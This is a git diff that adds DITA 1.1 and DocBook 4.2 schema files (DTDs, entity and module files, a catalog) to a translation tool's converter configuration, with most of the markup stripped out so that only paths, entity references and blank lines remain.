+%mapgroup-d-dec; + + +%indexing-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%map-type; + + + + + + + + +%mapgroup-d-def; + + +%indexing-d-def; + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/map.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/map.mod new file mode 100644 index 0000000..33ae645 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/map.mod @@ -0,0 +1,322 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%commonElements; + + + +%metaXML; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/mapGroup.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/mapGroup.ent new file mode 100644 index 0000000..c7c592d --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/mapGroup.ent @@ -0,0 +1,51 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/mapGroup.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/mapGroup.mod new file mode 100644 index 0000000..7735501 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/mapGroup.mod @@ -0,0 +1,83 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/metaDecl.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/metaDecl.mod new file mode 100644 index 0000000..f997432 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/metaDecl.mod @@ -0,0 +1,277 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/programmingDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/programmingDomain.ent new file mode 100644 index 0000000..8b82cff --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/programmingDomain.ent @@ -0,0 +1,55 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/programmingDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/programmingDomain.mod new file mode 100644 index 0000000..aaacc9b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/programmingDomain.mod @@ -0,0 +1,381 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/reference.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/reference.dtd new file mode 100644 index 0000000..f0770a8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/reference.dtd @@ -0,0 +1,176 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + +%indexing-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + + + %reference-typemod; + + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + +%indexing-d-def; + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/reference.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/reference.mod new file mode 100644 index 0000000..e9333ae --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/reference.mod @@ -0,0 +1,246 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/softwareDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/softwareDomain.ent new file mode 100644 index 0000000..dc87cab --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/softwareDomain.ent @@ -0,0 +1,53 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/softwareDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/softwareDomain.mod new file mode 100644 index 0000000..69ceda6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/softwareDomain.mod @@ -0,0 +1,145 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/task.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/task.dtd new file mode 100644 index 0000000..b70faa2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/task.dtd @@ -0,0 +1,174 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + +%indexing-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + + +%task-typemod; + + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + +%indexing-d-def; + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/task.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/task.mod new file mode 100644 index 0000000..dc46f41 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/task.mod @@ -0,0 +1,411 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/tblDecl.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/tblDecl.mod new file mode 100644 index 0000000..e4bd35a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/tblDecl.mod @@ -0,0 +1,380 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/topic.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/topic.dtd new file mode 100644 index 0000000..6841b9c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/topic.dtd @@ -0,0 +1,168 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + +%indexing-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + +%indexing-d-def; + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/topic.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/topic.mod new file mode 100644 index 0000000..04f6bfc --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/topic.mod @@ -0,0 +1,416 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topicDefns; + + + +%commonElements; + + + +%metaXML; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/topicDefn.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/topicDefn.ent new file mode 100644 index 0000000..66f4e39 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/topicDefn.ent @@ -0,0 +1,72 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%commonDefns; + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/uiDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/uiDomain.ent new file mode 100644 index 0000000..a1a9dec --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/uiDomain.ent @@ -0,0 +1,54 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/uiDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/uiDomain.mod new file mode 100644 index 0000000..3c319d3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/uiDomain.mod @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/utilitiesDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/utilitiesDomain.ent new file mode 100644 index 0000000..abf240e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/utilitiesDomain.ent @@ -0,0 +1,53 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/utilitiesDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/utilitiesDomain.mod new file mode 100644 index 0000000..c506ea7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/utilitiesDomain.mod @@ -0,0 +1,119 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/xnalDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/xnalDomain.ent new file mode 100644 index 0000000..6793a50 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/xnalDomain.ent @@ -0,0 +1,46 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/xnalDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/xnalDomain.mod new file mode 100644 index 0000000..1968425 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/xnalDomain.mod @@ -0,0 +1,292 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/calstblx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/calstblx.dtd new file mode 100644 index 0000000..5ff9313 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/calstblx.dtd @@ -0,0 +1,200 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/catalog.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/catalog.xml new file mode 100644 index 0000000..dca5170 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/catalog.xml @@ -0,0 +1,115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbcentx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbcentx.mod new file mode 100644 index 0000000..1a7cdf8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbcentx.mod @@ -0,0 +1,384 @@ + + + + + + + + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbgenent.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbgenent.mod new file mode 100644 index 0000000..5f8962a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbgenent.mod @@ -0,0 +1,41 @@ + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbhierx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbhierx.mod new file mode 100644 index 0000000..e81c01d --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbhierx.mod @@ -0,0 +1,2115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%rdbhier; +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%rdbhier2; +]]> + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbnotnx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbnotnx.mod new file mode 100644 index 0000000..72fb5c1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbnotnx.mod @@ -0,0 +1,100 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbpoolx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbpoolx.mod new file mode 100644 index 0000000..b78c7ca --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.2/dbpoolx.mod @@ -0,0 +1,7924 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%rdbpool; +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + +]]> + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + 